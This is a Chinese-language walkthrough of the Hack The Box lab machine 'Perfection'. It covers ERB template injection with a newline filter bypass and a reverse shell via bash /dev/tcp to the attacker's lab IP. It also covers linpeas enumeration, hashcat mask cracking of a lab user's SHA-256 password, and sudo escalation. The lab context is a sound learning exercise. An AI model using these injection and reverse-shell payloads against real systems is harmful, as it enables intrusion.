#简述
关于HTB机器Perfection的渗透过程
靶机:10.10.11.253
攻击机:10.10.14.65
#过程
1、老样子,nmap扫描目标靶机
nmap -A 10.10.11.253
2、发现只打开了22,80这两个常规端口,使用浏览器访问80端口,发现这个是一个计算加权分数的工具网站。
3、使用dirsearch进行目录扫描,也只是扫出 /about 这一个路径,没啥有价值的收获
4、底部发现 Powered by WEBrick 1.7.0 的字样,思路转向能否使用相对应的CVE漏洞去打
5、简单地去了解一下关于Webrick的信息
6、由于Webrick是由Ruby编写的,而这种语言的特性——使用它搭建的服务器通常会使用通用模板,于是思路来到了SSTI模板注入
7、使用Burpsuite抓包,输入payload(URL编码后):%3C%25%3D%207%2A7%20%25%3E
原payload:<%= 7*7 %>
语句成功被执行,证明存在注入点
8、尝试命令执行被提示 Malicious input blocked——恶意输入被屏蔽。
9、FUZZ测试一下得到的结果是 %0a 可以绕过这个限制
10、于是思路来到反弹shell这一点,尝试直接执行反弹shell命令多次失败后,换种方式,先在攻击机写一个.sh脚本,里面内容包含反弹shell的命令
11、然后使用python开启一个http服务
12、攻击机监听5555端口,再利用这个SSTI注入点执行curl+bash命令
payload:%0a<%= system('bash -i >& /dev/tcp/10.10.14.65/5555 0>&1') %>
(记得URL编码后再发送)
成功反弹shell!
13、顺利拿到user的flag
14、接下来到提权到root这一部分,先在靶机wget攻击机上的** linpeas.sh** 辅助提权脚本文件
15、chmod增加执行权限后,./linpeas.sh 执行扫描
16、在家目录下的Migration目录下存在一份** pupilpath_credentials.db** 文件,很明显是数据库相关的文件
17、直接cat查看显示会不全,于是把它下载到kali上,通过sqlite3命令查看
发现一堆名字以及其对应的hash值
直接拿这些hash值爆破无果,到了这里之后就卡住了,也是只能去看别人的WP。
18、根据其他师傅的wp提示,在 /var/mail/susan 下,有一封邮件提示,如下图所示:
上面的内容大概是:
由于 PupilPath 数据泄露,我们过渡到 Jupiter Grades,我认为我们也应该迁移我们的凭证(“我们的”,包括其他学生)
在我们班)到新平台。 我还建议采用新的密码规范,以使每个人都更轻松。 密码格式为:
{名字}{名字倒序}{1 到 1,000,000,000 之间随机生成的整数}
请注意,名字的所有字母都应转换为小写。
如果可以的话,请告诉我有关迁移的最新信息。 我目前正在该平台上注册我们的大学。
● 蒂娜,你可爱的学生
19、通过 hash-identifier 工具对hash值:abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
进行识别,大概率是SHA-256
20、结合前面也就意味着 hashcat -m参数选择1400,
而 **-a 3 **是指增量模式,适合已知一部分密码需要爆破剩下部分的情况:
如果你知道密码的一部分是一个从1到10亿的数字,这意味着你需要生成一个9位或10位的数字。
不过,直接使用掩码模式来进行爆破可能会非常花时间,因为你需要遍历10亿个可能性。
如果你还知道其他的密码信息,比如密码的其它部分,使用掩码模式将会更有效。 如果你的哈希类型是 MD5,且你只知道的密码段是一个范围从1到10亿的数字,你可能需要使用以下的命令:
plaintext
hashcat -m 0 -a 3 -i --increment-min=1 --increment-max=10 hash.txt ?d?d?d?d?d?d?d?d?d?d
在以上命令中:
-m 0 描述了哈希类型(MD5)。
-a 3 表示我们正在使用掩码模式。
-i 以及 --increment-min=1 和 --increment-max=10 指定了你要爆破的最小和最大长度。
默认长度从1开始 ?d?d?d?d?d?d?d?d?d?d 是一个掩码字符串,用于生成尝试的密码。 ?d 表示一位数字,你需要9位或10位数字,所以有9个或10个?d。
不过,如果密码的其他部分也是未知的,这可能需要非常长的时间来进行爆破破解。正常情况下,在知道更多的前提信息的情况下使用掩码模式才更为高效。
? 后面的字符标记定义了特定类型的字符集进行密码尝试的生成。Hashcat 中主要的字符标记有下面这几种:
?l : 一个小写字母的字符集(abcd...z)。
?u : 一个大写字母的字符集(ABCD...Z)。
?d : 一个数字字符集(0123456789)。
?s : 一个特殊字符的字符集(包括所有标准非字母数字的键盘字符,如 ! @ # $ % 等)。
?a : 一个包含以上所有字符集的字符集(即小写字母,大写字母,数字,特殊字符)。
?b : 所有可能的字符256个, 即0x00 - 0xff。
你可以混合使用这些标记来匹配你需要的模式。
例如,如果你知道密码由一个大写字母、一个小写字母和一个特殊字符组成,你就可以写出像 ?u?l?s 的模式。
同时你还可以定义自己的字符集。例如: ?1abcde : 自定义一个字符集包括 'a','b','c','d','e' ?2ABCDE : 自定义一个字符集包括 'A','B','C','D','E'
然后你就可以以这种方式使用你定义的字符集: ?2?1?1?1,这里使用了字符集 2 中的一个字符和字符集 1 中的三个字符。
通过定义和使用自己的字符集,你可以更具体地生成尝试的密码,特别是当你有更多信息的时候。
信息来源:https://download.csdn.net/blog/column/12211888/136460581
21、成功爆破出来susan用户密码,结果为:susan_nasus_413759210
22、ssh连接到靶机
23、sudo -l 查看到susan用户的sudo可用权限为all,表明用户 susan 被授予了非常广泛的 sudo 权限,可以以任何用户身份执行任何命令。
24、直接 sudo su root ,提权到root,得到最终的root-flag
25、拿下Perfection机器
#总结
1、大致思路 web权限 -> 用户权限 -> root权限
2、关键点&难点:
(1)找到web通往靶机的入口点,这个靶机的考点为SSTI模板注入,通过注入点命令执行进入靶机,之后再进一步提权;
(2)对于靶机自身的信息收集,邮件这条提示再看wp前没找到
(3)关于hash值爆破这块学到了新的知识点,如 hashcat 的-a 3使用;
3、最后就是涉及了一点点sudo提权。